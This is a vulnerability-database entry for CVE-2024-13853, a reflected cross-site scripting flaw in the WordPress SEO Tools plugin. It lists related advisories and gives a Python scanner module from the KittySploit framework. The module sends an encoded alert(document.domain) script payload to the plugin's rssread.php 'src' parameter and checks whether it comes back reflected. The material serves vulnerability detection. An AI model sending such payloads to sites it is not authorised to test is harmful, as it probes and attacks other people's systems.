WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2024-13853 | 11 Mar 202509:15 | – | circl | |
| WordPress plugin SEO Tools 跨站脚本漏洞 | 11 Mar 202500:00 | – | cnnvd | |
| CVE-2024-13853 | 11 Mar 202506:00 | – | cve | |
| CVE-2024-13853 SEO Tools <= 4.0.7 - Reflected XSS | 11 Mar 202506:00 | – | cvelist | |
| EUVD-2024-54184 | 3 Oct 202520:07 | – | euvd | |
| WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei | |
| CVE-2024-13853 | 11 Mar 202506:15 | – | nvd | |
| CVE-2024-13853 | 11 Mar 202506:15 | – | osv | |
| WordPress SEO Tools plugin <= 4.0.7 - Reflected XSS vulnerability | 11 Mar 202507:23 | – | patchstack | |
| PT-2025-10695 | 11 Mar 202500:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The SEO Tools WordPress plugin through version 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting Detection',
'description': "The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'wp', 'wordpress', 'wp-plugin', 'xss', 'seo-automatic-seo-tools', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/52991dd9-41f7-4cf8-b8c9-56dd4e62bf0c',
'https://nvd.nist.gov/vuln/detail/CVE-2024-13853',
],
'cve': 'CVE-2024-13853',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=True)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('seo-automatic-seo-tools',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"></script><script>alert(document.domain)</script><script>',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.8High risk
Vulners AI Score8.8
CVSS 3.16.1
EPSS0.00623
SSVC